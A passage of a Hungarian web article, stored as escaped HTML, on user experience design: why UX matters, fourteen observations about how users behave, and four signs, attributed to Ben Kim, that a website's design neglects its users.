mit akarnak a felhaszn\u00e1l\u00f3id a term\u00e9kedt\u0151l, szolg\u00e1ltat\u00e1sodt\u00f3l, akkor sokkal nagyobb val\u00f3sz\u00edn\u0171s\u00e9ggel meg tudsz felelni a v\u00e1rakoz\u00e1saiknak. Ez lehet\u0151s\u00e9get ny\u00fajt neked arra is, hogy megel\u0151zd a versenyt\u00e1rsaidat.<\/p>\n\n\n\n<h4>3. A UX t\u00f6bb p\u00e9nzt hoz<\/h4>\n\n\n\n<p>Nagyon egyszer\u0171 dologr\u00f3l van sz\u00f3: min\u00e9l t\u00f6bb id\u0151t t\u00f6ltenek a felhaszn\u00e1l\u00f3k a weboldaladon, ann\u00e1l t\u00f6bb p\u00e9nzt fognak n\u00e1lad elk\u00f6lteni. \u00c9s min\u00e9l jobban kiel\u00e9g\u00edti a UX-ed a felhaszn\u00e1l\u00f3id v\u00e1rakoz\u00e1sait, ann\u00e1l val\u00f3sz\u00edn\u0171bb, hogy a weboldaladon hozz\u00e1k meg v\u00e1s\u00e1rl\u00f3i d\u00f6nt\u00e9seiket. Tartsd \u00e9szben, hogy val\u00f3sz\u00edn\u0171leg nem a Te aj\u00e1nlatod az egyetlen, amire a felhaszn\u00e1l\u00f3k r\u00e1akadtak! Ha pedig nem tudj\u00e1k a weboldaladon kivitelezni, amit elterveztek, akkor nagy az es\u00e9lye, hogy m\u00e1shol fogj\u00e1k azt megtenni.<\/p>\n\n\n\n<h4>4. A UX r\u00e9v\u00e9n kevesebb er\u0151forr\u00e1st vesztegetsz el<\/h4>\n\n\n\n<p>Ha nem veszed figyelembe a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny kialak\u00edt\u00e1s\u00e1t, \u00e9s olyan felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt hozol l\u00e9tre, mely nem felel meg az emberek elv\u00e1r\u00e1sainak, akkor a weboldalad nem hozza az elv\u00e1rt megt\u00e9r\u00fcl\u00e9st, ez\u00e1ltal pedig \u00e9rt\u00e9kes forr\u00e1sokat vesztegetsz el. A weboldaladat elemezve olyan felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt kell kialak\u00edtanod, ami kiel\u00e9g\u00edti az \u00fcgyfeleid ig\u00e9nyeit. Ha kezdetekt\u0151l figyelsz a UX-re, akkor kisebb a val\u00f3sz\u00edn\u0171s\u00e9ge, hogy k\u00e9s\u0151bb hib\u00e1kat jav\u00edtgatva kell majd optimaliz\u00e1lni azt a weboldaladon, \u00edgy pedig id\u0151t \u00e9s p\u00e9nzt takar\u00edtasz meg.<\/p>\n\n\n\n<h2>14 k\u0151kem\u00e9ny igazs\u00e1g a felhaszn\u00e1l\u00f3kr\u00f3l<\/h2>\n\n\n\n<p>A j\u00f3 UX-hez meg kell \u00e9rtened a felhaszn\u00e1l\u00f3idat. Ha a felhaszn\u00e1l\u00f3id ismerete n\u00e9lk\u00fcl v\u00e1gsz bele egy term\u00e9k, mondjuk egy weboldal megtervez\u00e9s\u00e9be, akkor lehet, hogy kudarc lesz az eredm\u00e9ny. Mindig neh\u00e9z feladat egy l\u00e9p\u00e9st h\u00e1tral\u00e9pni, hogy a felhaszn\u00e1l\u00f3k szem\u00e9vel n\u00e9zz\u00fck a weboldalunkat vagy alkalmaz\u00e1sunkat. Ebben seg\u00edt, ha tudjuk, milyenek az emberek.<\/p>\n\n\n\n<h4>1. Okosabbak, mint gondoln\u00e1d<\/h4>\n\n\n\n<p>Csak nincs kedv\u00fck megtanulni a rendszeredet, nem \u00e9rdekli \u0151ket. Az emberek nagyszer\u0171en elvannak a technol\u00f3gia n\u00e9lk\u00fcl, eg\u00e9szen addig, am\u00edg nincs r\u00e1 sz\u00fcks\u00e9g\u00fck. Ekkor is csak azt a r\u00e9szlet\u00e9t hajland\u00f3ak megtanulni, ami val\u00f3ban n\u00e9lk\u00fcl\u00f6zhetetlen sz\u00e1mukra.<\/p>\n\n\n\n<h4>2. Van m\u00e1s dolguk is<\/h4>\n\n\n\n<p>Az embereknek nem az a c\u00e9ljuk, hogy minden idej\u00fcket a weboldaladon t\u00f6lts\u00e9k. Ha a Google azt akarn\u00e1 el\u00e9rni, hogy az emberek min\u00e9l t\u00f6bb id\u0151t t\u00f6ltsenek a keres\u0151oldalon, akkor az emberek nem haszn\u00e1ln\u00e1k a Google keres\u0151j\u00e9t. A felhaszn\u00e1l\u00f3k c\u00e9lja az, hogy min\u00e9l kevesebb id\u0151t kelljen a weboldaladon lenni\u00fck, ez\u00e9rt Te t\u00f6rekedj arra, hogy min\u00e9l kevesebb idej\u00fcket rabold el.<\/p>\n\n\n\n<h4>3. Akci\u00f3 m\u00f3dban vannak<\/h4>\n\n\n\n<p>Az emberek egy alkalmaz\u00e1s haszn\u00e1lata k\u00f6zben nem olvas\u00e1si m\u00f3dban m\u0171k\u00f6dnek, hanem tenni szeretn\u00e9nek valamit. Van egy feladat, amit v\u00e9gre akarnak hajtani. A felhaszn\u00e1l\u00f3k akci\u00f3-m\u00f3dban ler\u00e1zz\u00e1k magukr\u00f3l a zavar\u00f3 t\u00e9nyez\u0151ket \u00e9s \u00e1tt\u00f6rnek az akad\u00e1lyokon. K\u00e9pzeld el, mi t\u00f6rt\u00e9nne, ha nem \u00edgy tenn\u00e9nek! Leragadn\u00e1nak az \u00f3ri\u00e1splak\u00e1tok, a kirakatok el\u0151tt, \u00e9s soha nem jutn\u00e1nak haza \u00e9lve.<\/p>\n\n\n\n<h4>4. Elegend\u0151ek a kiel\u00e9g\u00edt\u0151en j\u00f3 d\u00f6nt\u00e9sek<\/h4>\n\n\n\n<p>Az emberek \u00e1ltal\u00e1ban csak annyit akarnak, amennyi \u00e9ppen sz\u00fcks\u00e9ges. \u00c9s annyit is tanulnak meg. S\u0151t tal\u00e1n rosszul tanulnak meg valamit. De ez nem sz\u00e1m\u00edt, am\u00edg megkapj\u00e1k, amit akarnak. Steve Krug nevezte el ezt a jelens\u00e9get a satisfy \u00e9s sacrifice szavak \u00f6sszevon\u00e1s\u00e1val satisfice-nak. Ez t\u00fal\u00e9l\u00e9si \u00f6szt\u00f6n, mert nincs annyi id\u0151, hogy mesterr\u00e9 v\u00e1ljanak mindenben, \u00edgy az els\u0151 lehets\u00e9ges, j\u00f3nak gondolt opci\u00f3t v\u00e1lasztj\u00e1k.<\/p>\n\n\n\n<h4>5. Nem \u00fagy haszn\u00e1lj\u00e1k, ahogy Te szeretn\u00e9d<\/h4>\n\n\n\n<p>Teljesen mindegy, hogy mennyi munk\u00e1t fektetsz bele, \u00fagy fogj\u00e1k haszn\u00e1lni, ahogy nem is sz\u00e1m\u00edtott\u00e1l r\u00e1. Ez azonban id\u0151nk\u00e9nt ink\u00e1bb lehet\u0151s\u00e9get jelent, nem probl\u00e9m\u00e1t. P\u00e9ld\u00e1ul a korai Twitteren jelent meg az, hogy amikor valakire hivatkozni akartak az emberek, akkor a felhaszn\u00e1l\u00f3neve el\u00e9 raktak egy @ jelet. Amikor pedig egy t\u00e9m\u00e1t akartak megjel\u00f6lni, akkor el\u00e9 ker\u00fclt a #. Ezeket nem a Twitter tal\u00e1lta ki, nem is volt r\u00e1 felk\u00e9sz\u00fclve, k\u00e9s\u0151bb viszont mindk\u00e9t funkci\u00f3t elkezdt\u00e9k t\u00e1mogatni. Ma pedig m\u00e1r mindenki haszn\u00e1lja.<\/p>\n\n\n\n<h4>6. Megb\u00edznak a sablonokban<\/h4>\n\n\n\n<p>A sablonok seg\u00edtik az embereket abban, hogy tudj\u00e1k, mik\u00e9nt m\u0171k\u00f6dik egy weboldal vagy applik\u00e1ci\u00f3. Ha veszel egy term\u00e9ket egy web\u00e1ruh\u00e1zban, akkor m\u00e1r tudod, hogy a legt\u00f6bb web\u00e1ruh\u00e1z hogyan m\u0171k\u00f6dik. Az \u00e9lm\u00e9nyek mindegyikben hasonl\u00f3k, mert a m\u00e1r bev\u00e1lt minta j\u00f3l m\u0171k\u00f6dik. Neked pedig ki kell haszn\u00e1lnod a lehet\u0151s\u00e9get, ami a sablonokban rejlik.<\/p>\n\n\n\n<h4>7. Milli\u00f3 dolog versenyez a figyelm\u00fck\u00e9rt<\/h4>\n\n\n\n<p>Mik\u00f6zben olvasod vagy olvasn\u00e1d ezt a cikket, sz\u00e1mtalan olyan dolog bukkan fel k\u00f6r\u00fcl\u00f6tted, mely a figyelmedet k\u00edv\u00e1nja. Ez\u00e9rt kell tudni, hogy a felhaszn\u00e1l\u00f3 mit is akar el\u00e9rni. Egy tiszta, egy\u00e9rtelm\u0171, egyl\u00e9p\u00e9ses folyamatot kell kialak\u00edtani, \u00e9s ker\u00fclni azt, hogy t\u00f6bb dologgal kelljen foglalkoznia egyszerre. Ann\u00e1l jobb, min\u00e9l t\u00f6bbet, min\u00e9l gyorsabban tud el\u0151re haladni a felhaszn\u00e1l\u00f3, mert \u00edgy n\u0151 az es\u00e9lye, hogy be fogja fejezni a feladatot an\u00e9lk\u00fcl, hogy valami m\u00e1s elcs\u00e1b\u00edtan\u00e1.<\/p>\n\n\n\n<h4>8. M\u00e1st l\u00e1tnak, mint amit Te<\/h4>\n\n\n\n<p>Nagy k\u00fcl\u00f6nbs\u00e9g van ak\u00f6z\u00f6tt, ami szerinted a kijelz\u0151n van, \u00e9s ak\u00f6z\u00f6tt, amit a felhaszn\u00e1l\u00f3k l\u00e1tnak. \u00c9s sajnos csak az sz\u00e1m\u00edt, amit az emberek l\u00e1tnak, nem pedig az, amit Te.<\/p>\n\n\n\n<h4>9. Hazudnak<\/h4>\n\n\n\n<p>\u00dagy t\u0171nhet, hogy az emberek nagyon j\u00f3l ismerik magukat amikor elm\u00e9letben mer\u00fclnek fel a k\u00e9rd\u00e9sek. Csak amikor val\u00f3s helyzetbe ker\u00fclnek, eg\u00e9szen m\u00e1shogy viselkednek. Nem akarnak hazudni neked, csak \u00e9pp fogalmuk sincs arr\u00f3l, hogy val\u00f3j\u00e1ban mit is tenn\u00e9nek. De nem ez az egyetlen dolog, amiben nem mondanak igaza. P\u00e9ld\u00e1ul egy usability teszt ut\u00e1n k\u00f6nny\u0171nek \u00e9rt\u00e9kelnek egy feladatot, amin el\u0151tt \u00f6t percig g\u00f6rcs\u00f6ltek. A sor folytathat\u00f3, a l\u00e9nyeg, hogy ne hidd el, amit mondanak, a viselked\u00e9s\u00fcket figyeld!<\/p>\n\n\n\n<h4>10. Nem ismerik a lehet\u0151s\u00e9geiket<\/h4>\n\n\n\n<p>A felhaszn\u00e1l\u00f3k \u00e1ltal\u00e1ban nem designerek. Amikor elmondj\u00e1k, hogy mik\u00e9nt szeretn\u00e9k, hogy m\u0171k\u00f6dj\u00f6n valami, akkor egy olyan megold\u00e1ssal \u00e1llnak el\u0151, ami v\u00e9lem\u00e9ny\u00fck szerint enyh\u00edten\u00e9 a probl\u00e9m\u00e1t, ez a megold\u00e1s azonban egy\u00e1ltal\u00e1n nem biztos, hogy val\u00f3j\u00e1ban meg is oldja azt. Nehezen tudj\u00e1k megfogalmazni, hogy val\u00f3j\u00e1ban mit akarnak, nem tudj\u00e1k megoldani a probl\u00e9m\u00e1t, csak annyit tudnak, hogy meg akarj\u00e1k oldani, \u00e9s ez\u00e9rt javaslatokat tesznek. A designereknek ez\u00e9rt ki kell tal\u00e1lni, hogy val\u00f3j\u00e1ban mit akarhatnak az emberek, \u00e9s mi lehet a val\u00f3di megold\u00e1s sz\u00e1mukra.<\/p>\n\n\n\n<h4>11. Ha k\u00f6nnyebb\u00e9 teszed az \u00e9let\u00fcket, szeretni fognak<\/h4>\n\n\n\n<p>Az emberek akkor v\u00e1ltanak \u00faj technol\u00f3gi\u00e1kra, amikor azok eg\u00e9szen nyilv\u00e1nval\u00f3an jav\u00edtj\u00e1k az \u00e9let\u00fcket. Ilyenkor meg\u00e9ri megtenni a v\u00e1lt\u00e1ssal j\u00e1r\u00f3 er\u0151fesz\u00edt\u00e9st. Ha val\u00f3ban megoldasz egy probl\u00e9m\u00e1t, \u00e9s meg is tudod mutatni nekik, hogyan teszed ezt, akkor ez\u00e9rt im\u00e1dni fognak. A legjobb az, amikor a megold\u00e1s \u00f6nmag\u00e1\u00e9rt besz\u00e9l. A legt\u00f6bb esetben azonban magyar\u00e1znod kell. Ha viszont egy megold\u00e1s nem igazi megold\u00e1s, akkor senkit nem \u00e9rdekel majd a magyar\u00e1zatod, azt fogj\u00e1k tenni, amit eddig is.<\/p>\n\n\n\n<h4>12. K\u00e9rd\u00e9seik vannak<\/h4>\n\n\n\n<p>Az embereknek mindig vannak k\u00e9rd\u00e9seik, melyekre azonnal v\u00e1laszokat akarnak. Ha nem kapj\u00e1k meg, akkor nagy az es\u00e9lye annak, hogy lel\u00e9pnek. Tudni akarj\u00e1k, hogy egy applik\u00e1ci\u00f3 p\u00e9ld\u00e1ul mire j\u00f3, miben seg\u00edt nekik, mennyire neh\u00e9z haszn\u00e1lni, mennyibe ker\u00fcl. Neked az a feladatod, hogy megadd a v\u00e1laszokat, mert \u00edgy lesznek a felhaszn\u00e1l\u00f3kb\u00f3l vev\u0151k.<\/p>\n\n\n\n<h4>13. Magukat hib\u00e1ztatj\u00e1k a Te hib\u00e1id miatt<\/h4>\n\n\n\n<p>Tal\u00e1n azt hiszed, hogy az emberek mindig T\u00e9ged szidnak, de ez nem eg\u00e9szen \u00edgy van. M\u00e9lyen, bel\u00fcl az emberek azt hiszik, hogy nem el\u00e9g intelligensek haszn\u00e1lni egy alkalmaz\u00e1st, vagy \u00e9ppen nem tudnak eleget, hogy meg\u00e9rts\u00e9k a m\u0171k\u00f6d\u00e9s\u00e9t. Ha azonban ilyen gondolatok mer\u00fclnek fel az emberekben, az azt jelenti, hogy rossz a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny. A panaszok hi\u00e1nya teh\u00e1t nem egyenl\u0151 azzal, hogy nincsenek probl\u00e9m\u00e1k. Elk\u00e9pzelhet\u0151, hogy csak Te nem hallod meg \u0151ket.<\/p>\n\n\n\n<h4>14. A felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny nem csak a Te weboldaladon m\u00falik<\/h4>\n\n\n\n<p>A UX azon interakci\u00f3k, benyom\u00e1sok \u00e9s \u00e9rz\u00e9sek \u00f6sszess\u00e9ge, melyek egy felhaszn\u00e1l\u00f3t jellemeznek, amikor kapcsolatba ker\u00fcl a weboldaladdal, a term\u00e9keddel vagy a szolg\u00e1ltat\u00e1soddal. A benyom\u00e1st azonban nem csak a Te designod alak\u00edtja, hanem m\u00e9g sz\u00e1mtalan m\u00e1s dolog. P\u00e9ld\u00e1ul a c\u00e9ged h\u00edrneve, m\u00e1s emberek v\u00e9lem\u00e9nye, a term\u00e9k kin\u00e9zete, hogy milyen \u00e9rz\u00e9s volt hasonl\u00f3 kin\u00e9zet\u0171 dolgokkal kapcsolatba ker\u00fclni\u00fck, milyen napjuk van, adott pillanatban mennyire nyitottak a dologra, milyen k\u00f6nnyen tudj\u00e1k megtanulni a haszn\u00e1lat\u00e1t, mennyire csal\u00f3dtak m\u00e1s term\u00e9kekben, stb. A l\u00e9nyeg, hogy sok t\u00e9nyez\u0151 hat a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyre, \u00e9s nem mindegyikre van befoly\u00e1sod.<\/p>\n\n\n\n<h2>4 jele annak, hogy a weboldalad nem veszi figyelembe a felhaszn\u00e1l\u00f3kat<\/h2>\n\n\n\n<p>A legt\u00f6bb weboldal tervez\u00e9se k\u00f6zben olyan mondatok hangzanak el, hogy \u201caz emberek itt val\u00f3sz\u00edn\u0171leg azt csin\u00e1ln\u00e1k, hogy\u2026\u201d, \u201caz emberek itt majd \u00fagy gondolj\u00e1k, hogy\u2026\u201d, \u201ca felhaszn\u00e1l\u00f3k itt \u00f6ssze fognak zavarodni, mert\u2026\u201d. Vagyis sokszor a felhaszn\u00e1l\u00f3k nev\u00e9ben igazoljuk a webdesign bizonyos elemeit, csak sajnos \u00fagy, hogy a webdesign m\u00e9g egyetlen felhaszn\u00e1l\u00f3val sem tal\u00e1lkozott.<\/p>\n\n\n\n<p>Amikor egy teljesen \u00faj weboldalt hozunk l\u00e9tre, akkor annak m\u00e9g nincsenek felhaszn\u00e1l\u00f3i, vagyis nem \u00e1llnak rendelkez\u00e9sre adatok a viselked\u00e9s\u00fckkel kapcsolatban. \u00c9s mivel a weboldaltervez\u00e9sn\u00e9l \u00e1lland\u00f3 jellemz\u0151, hogy sietni kell \u00e9s m\u00e9rs\u00e9kelt a k\u00f6lts\u00e9gvet\u00e9s, \u00edgy a tesztek is jellemz\u0151en elmaradnak. Ezt helyettes\u00edtj\u00fck azzal, hogy felt\u00e9telez\u00fcnk egy felhaszn\u00e1l\u00f3i viselked\u00e9st. De ezt vizsg\u00e1latokkal soha nem igazoljuk.<\/p>\n\n\n\n<p>Mindezt nem csak mi mondjuk, hanem Ben Kim, a UXPin UX-kutat\u00f3ja \u00e1ll\u00edtotta a <a href=\"http:\/\/thenextweb.com\/dd\/2016\/01\/06\/4-clues-your-design-neglects-the-user-and-how-to-fix-it\/\" target=\"_blank\" rel=\"noopener\">TNW<\/a> egyik cikk\u00e9ben. \u0150 k\u00f6zel sz\u00e1z webdesignert k\u00e9rdezett ki a munkam\u00f3dszereir\u0151l, \u00e9s az elhangzottak alapj\u00e1n vonta le azt a k\u00f6vetkeztet\u00e9st, hogy a felt\u00e9telez\u00e9sekb\u0151l val\u00f3 kiindul\u00e1s egy\u00e1ltal\u00e1n nem ritka eset a webdesignban. A probl\u00e9ma megold\u00e1s\u00e1ra pedig \u00f6ssze\u00e1ll\u00edtott egy n\u00e9gypontos list\u00e1t. Ez nem csak azokat jeleket sorolja fel, melyek akkor l\u00e1that\u00f3k, ha nem \u00e9rdekelnek valakit a felhaszn\u00e1l\u00f3k, hanem a megold\u00e1sra is javaslatot tesz mindegyikn\u00e9l.<\/p>\n\n\n\n<h4>1. Csak a v\u00e9gs\u0151 verzi\u00f3n\u00e1l v\u00e9gzel haszn\u00e1lhat\u00f3s\u00e1gi tesztet<\/h4>\n\n\n\n<p>A haszn\u00e1lhat\u00f3s\u00e1gi tesztek akkor a leghat\u00e9konyabbak, ha a tervez\u00e9s \u00e9s a fejleszt\u00e9s sor\u00e1n rendszeresen elv\u00e9gzik \u0151ket. Teh\u00e1t nem csak az elk\u00e9sz\u00fclt protot\u00edpusn\u00e1l fontosak, hanem annak kezdeti f\u00e1zis\u00e1ban is. A tesztek hi\u00e1ny\u00e1nak oka jellemz\u0151en az, hogy egyszer\u0171en nincs id\u0151 kutat\u00e1sokra, k\u00fcl\u00f6n\u00f6sen, ha egy csapat gyors sprintekben dolgozik. Pedig a tesztek mutatj\u00e1k csak meg, hogy a felhaszn\u00e1l\u00f3k val\u00f3j\u00e1ban mit akarnak. Ennek hi\u00e1ny\u00e1ban csak a tal\u00e1lgat\u00e1s marad.<\/p>\n\n\n\n<p>A megold\u00e1s itt nyilv\u00e1nval\u00f3an az, hogy amint elkezd\u0151dik a tervez\u00e9s, mindj\u00e1rt felhaszn\u00e1l\u00f3i tesztekkel kell ind\u00edtani. Ben Kim tapasztalatai szerint, ha m\u00e1r a dr\u00f3tv\u00e1zakn\u00e1l elv\u00e9gezz\u00fck az els\u0151 teszteket, akkor az\u00e9rt is haszn\u00e1lhat\u00f3bb eredm\u00e9nyt kapunk, mert a felhaszn\u00e1l\u00f3kat m\u00e9g nem befoly\u00e1solja a weboldal vizualit\u00e1sa. Amikor a felhaszn\u00e1l\u00f3kat arra k\u00e9red, hogy dr\u00f3tv\u00e1zak alapj\u00e1n \u00e9rts\u00e9k meg a m\u0171k\u00f6d\u00e9s\u00e9t a weboldaladnak vagy az applik\u00e1ci\u00f3dnak, akkor k\u00f6nnyen megfejtheted a viselked\u00e9s\u00fcket haszn\u00e1lat k\u00f6zben. Ez\u00e1ltal kisz\u0171rhet\u0151k a fontosabb haszn\u00e1lhat\u00f3s\u00e1gi probl\u00e9m\u00e1k m\u00e1r a tervez\u00e9s kezdeti szakasz\u00e1ban.<\/p>\n\n\n\n<p>L\u00e9nyeges, hogy mivel itt m\u00e9g dr\u00f3tv\u00e1zak tesztel\u00e9s\u00e9r\u0151l van sz\u00f3, az embereket nem befoly\u00e1solja a vizualit\u00e1s, \u00edgy sokkal tiszt\u00e1bb inform\u00e1ci\u00f3kat adnak egy term\u00e9k haszn\u00e1lhat\u00f3s\u00e1g\u00e1r\u00f3l. Ha nincsenek felhaszn\u00e1l\u00f3id, akikkel tesztelhetn\u00e9l, akkor legal\u00e1bb k\u00e9rd meg azokat a munkat\u00e1rsaidat egy tesztre, akik az adott projektbe nincsenek bevonva – tan\u00e1csolja a szerz\u0151. \u0150k j\u00f3val sz\u00e9lesebb perspekt\u00edvb\u00f3l k\u00e9pesek szeml\u00e9lni a weboldal m\u0171k\u00f6d\u00e9s\u00e9t, mint akik k\u00f6zvetlen\u00fcl \u00e9rintve vannak a projektben, \u00edgy r\u00e1 tudnak mutatni a nagyobb haszn\u00e1lhat\u00f3s\u00e1gi probl\u00e9m\u00e1kra.<\/p>\n\n\n\n<h4>2. A l\u00e1tv\u00e1ny megel\u0151zi a haszn\u00e1lhat\u00f3s\u00e1got<\/h4>\n\n\n\n<p>Mik\u00f6zben a l\u00e1tv\u00e1nynak komoly szerepe van a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyn\u00e9l, nem szabad, hogy ez legyen az egyetlen szempont a tervez\u00e9s sor\u00e1n. A l\u00e1tv\u00e1nyterveket sokkal jobban lehet prezent\u00e1lni p\u00e9ld\u00e1ul a megrendel\u0151k fel\u00e9, mert ezek k\u00f6nnyebben meggy\u0151zik \u0151ket, mint ha a felhaszn\u00e1l\u00f3i folyamatokat v\u00e1zoln\u00e1nk nekik. Ugyanakkor, ha nem csak d\u00edjakat akarsz nyerni a designnal, akkor ne a l\u00e1tv\u00e1nyt helyezd el\u0151t\u00e9rbe – v\u00e9li Ben Kim, aki szerint ugyan vannak esetek, amikor leny\u0171g\u00f6z\u0151 l\u00e1tv\u00e1nyra kell t\u00f6rekedni, azonban ennek kialak\u00edt\u00e1sa nem mehet a haszn\u00e1lhat\u00f3s\u00e1g rov\u00e1s\u00e1ra.<\/p>\n\n\n\n<p>Ez\u00e9rt is fontos m\u00e1r a dr\u00f3tv\u00e1zakn\u00e1l megkezdeni a tesztel\u00e9st, hiszen ahogy kor\u00e1bban m\u00e1r jelezt\u00fck, ott a figyelem m\u00e9g a funkci\u00f3kon van, \u00e9s nem a l\u00e1tv\u00e1nyvil\u00e1gon. Egy ilyen korai felhaszn\u00e1l\u00f3i visszajelz\u00e9s teremti meg az alapjait a j\u00f3 vizu\u00e1lis designnak. Amennyiben pedig \u00e1tmeneti szakaszban is tesztelj\u00fck az oldalt, akkor kialakul az egyens\u00faly a visszajelz\u00e9sek \u00e9s a design k\u00f6z\u00f6tt.<\/p>\n\n\n\n<h4>3. M\u00e1sok v\u00e9lem\u00e9ny\u00e9vel helyettes\u00edted a felhaszn\u00e1l\u00f3k\u00e9t<\/h4>\n\n\n\n<p>\u00c9s ezek a m\u00e1sok \u00e1ltal\u00e1ban Te magad vagy, esetleg a projektben r\u00e9szt vev\u0151k, vagy a megrendel\u0151k. De amennyiben val\u00f3ban az emberek sz\u00e1m\u00e1ra akarsz weboldalt l\u00e9trehozni, akkor ne ess abba a csapd\u00e1ba, hogy azt hiszed: \u201ca felhaszn\u00e1l\u00f3k val\u00f3sz\u00edn\u0171leg \u00fagy gondolj\u00e1k, mint \u00e9n\u201d. M\u00e9g akkor is ha t\u00f6k\u00e9letesen beleillesz a c\u00e9lcsoport demogr\u00e1fi\u00e1j\u00e1ba, csak tal\u00e1lgatsz, ha nem az adatokb\u00f3l indulsz ki. Az egyik legfontosabb tervez\u0151i k\u00e9pess\u00e9g, hogy elszak\u00edtsd az eg\u00f3d a term\u00e9kt\u0151l.<\/p>\n\n\n\n<p>A m\u00e1sik meghat\u00e1roz\u00f3 v\u00e9lem\u00e9nyt \u00e1ltal\u00e1ban a megrendel\u0151k mondj\u00e1k, amely ugyancsak \u00e1ltal\u00e1nos hiba a fejleszt\u0151 c\u00e9gekn\u00e9l. A megrendel\u0151knek term\u00e9szetesen lehet v\u00e9lem\u00e9ny\u00fck, de val\u00f3j\u00e1ban az \u0151 c\u00e9ljuk is az, hogy el\u00e9gedett \u00fcgyfeleket l\u00e1ssanak.<\/p>\n\n\n\n<p>Ez\u00e9rt fontos lenne, m\u00e9g az indul\u00e1s el\u0151tt felhaszn\u00e1l\u00f3i interj\u00fakat v\u00e9gezni, mely inform\u00e1ci\u00f3kkal seg\u00edti a fejleszt\u00e9sben r\u00e9szt vev\u0151 csapatot. Ben Kim p\u00e9ld\u00e1ul miel\u0151tt neki\u00e1llna a v\u00e1ltoztat\u00e1sok v\u00e9grehajt\u00e1s\u00e1ra egy redesign sor\u00e1n, \u00f6t napon kereszt\u00fcl t\u00f6bb mint 20 felhaszn\u00e1l\u00f3 \u00e9s potenci\u00e1lis felhaszn\u00e1l\u00f3 v\u00e9lem\u00e9ny\u00e9t k\u00e9rdezi meg. \u00c9s mik\u00f6zben zajlanak a felhaszn\u00e1l\u00f3i tesztek a fejleszt\u00e9s alatt, \u00fajabb interj\u00fakat k\u00e9sz\u00edtenek. \u00cdgy egy redesign alatt ak\u00e1r t\u00f6bb mint 50 v\u00e9lem\u00e9nyt begy\u0171jthetnek. Az interj\u00fak r\u00e9v\u00e9n tudsz k\u00e9rd\u00e9seket feltenni a felhaszn\u00e1l\u00f3i viselked\u00e9ssel kapcsolatban, melyek val\u00f3di inform\u00e1ci\u00f3kkal t\u00f6ltik meg a person\u00e1idat.<\/p>\n\n\n\n<h4>4. Adatok n\u00e9lk\u00fcl tervezel<\/h4>\n\n\n\n<p>M\u00e9g a legjobb UX-esek sem tudnak felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt tervezni adatok hi\u00e1nyban. Ha csak becsl\u00e9sekb\u0151l indulunk ki, az a felt\u00e9telez\u00e9sek cs\u00facsra j\u00e1rat\u00e1sa. Tudod, hogy ha t\u00fal sokszor mondasz ki egy sz\u00f3t, akkor elvesz\u00edti a jelent\u00e9s\u00e9t? Ez a szemantikus tel\u00edtetts\u00e9g jelens\u00e9ge, mely mindenhol jelen van, \u00edgy a webdesignban is. Amikor valaki t\u00fals\u00e1gosan k\u00f6zel \u00e1ll a designhoz, akkor annak elemei elvesz\u00edtik sz\u00e1m\u00e1ra a jelent\u00e9s\u00fcket. Egy adott ponton m\u00e1r passz\u00edvan zajlik a tervez\u00e9s, a d\u00f6nt\u00e9sek ink\u00e1bb rutinb\u00f3l j\u00f6nnek, mint j\u00f3zan \u00edt\u00e9l\u0151k\u00e9pess\u00e9g alapj\u00e1n. \u00c9s ebben az \u00e1llapotban m\u00e9g a legs\u00falyosabb haszn\u00e1lhat\u00f3s\u00e1gi hib\u00e1k felett is elsiklik a tekintet.<\/p>\n\n\n\n<p>Az adatok viszont seg\u00edtenek abban, hogy elker\u00fclj\u00fck ezt a csapd\u00e1t, hiszen objekt\u00edv alapot adnak a d\u00f6nt\u00e9sekhez. Nem sz\u00e1m\u00edt teh\u00e1t a projekt r\u00e9sztvev\u0151inek v\u00e9lem\u00e9nye, sem a designer \u00e1llapota, hiszen az adatok nem hazudnak.<\/p>\n\n\n\n<p>A megold\u00e1s ebben az esetben is az, hogy m\u00e1r a tervez\u00e9s korai szakasz\u00e1ban tesztelj\u00fcnk \u00e9s azt\u00e1n k\u00e9s\u0151bb is, min\u00e9l gyakrabban. A folyamatos tesztel\u00e9s alapj\u00e1n lehet\u00fcnk csak tiszt\u00e1ban azzal, hogy j\u00f3 ir\u00e1nyba haladunk-e, illetve ezek a tesztek folyamatosan adatokat szolg\u00e1ltatnak a tov\u00e1bbl\u00e9p\u00e9shez. Sok dolgot persze nem lehet azonnal tesztelni, k\u00fcl\u00f6n\u00f6sen a kezdetekkor, amikor a design nagy r\u00e9sze m\u00e9g el sem k\u00e9sz\u00fclt. A rendszeres tesztel\u00e9s azonban j\u00f3 \u00fctemben biztos\u00edtja sz\u00e1munkra az adatokat. Az adatok begy\u0171jt\u00e9s\u00e9hez lehet haszn\u00e1lni a Google Analyticset, vagy m\u00e1s analitikai megold\u00e1sokat, melyek vil\u00e1gosan megmutatj\u00e1k a felhaszn\u00e1l\u00f3i preferenci\u00e1kat \u00e9s viselked\u00e9st.<\/p>\n\n\n\n<p>Mindebb\u0151l teh\u00e1t kirajzol\u00f3dik, hogy a megfelel\u0151 term\u00e9kstrat\u00e9gia kialak\u00edt\u00e1s\u00e1t<strong> a kvalitat\u00edv adatok (haszn\u00e1lhat\u00f3s\u00e1gi tesztek \u00e9s felhaszn\u00e1l\u00f3i interj\u00fak), valamint a mennyis\u00e9gi adatok (analitika)<\/strong> figyelembe v\u00e9tele teszi lehet\u0151v\u00e9. A l\u00e9nyeg azonban a felhaszn\u00e1l\u00f3-k\u00f6zpont\u00fa gondolkod\u00e1s kialak\u00edt\u00e1sa, mely nem saj\u00e1t felt\u00e9telez\u00e9sekb\u0151l indul ki.<\/p>\n\n\n\n<h2>7 t\u00e9vhit a UX designr\u00f3l<\/h2>\n\n\n\n<p>A k\u00fcl\u00f6nb\u00f6z\u0151 t\u00e9vhitek abb\u00f3l erednek, hogy a user experience egy viszonylag friss megk\u00f6zel\u00edt\u00e9s a webdesignban, mely pr\u00f3b\u00e1lja megtal\u00e1lni az egyens\u00falyt a felhaszn\u00e1l\u00f3i ig\u00e9nyek \u00e9s az \u00fczleti c\u00e9lok k\u00f6z\u00f6tt. A t\u00e9vhitek a sk\u00e1l\u00e1ja az alapelvek teljes f\u00e9lre\u00e9rt\u00e9s\u00e9t\u0151l a m\u0171k\u00f6d\u0151 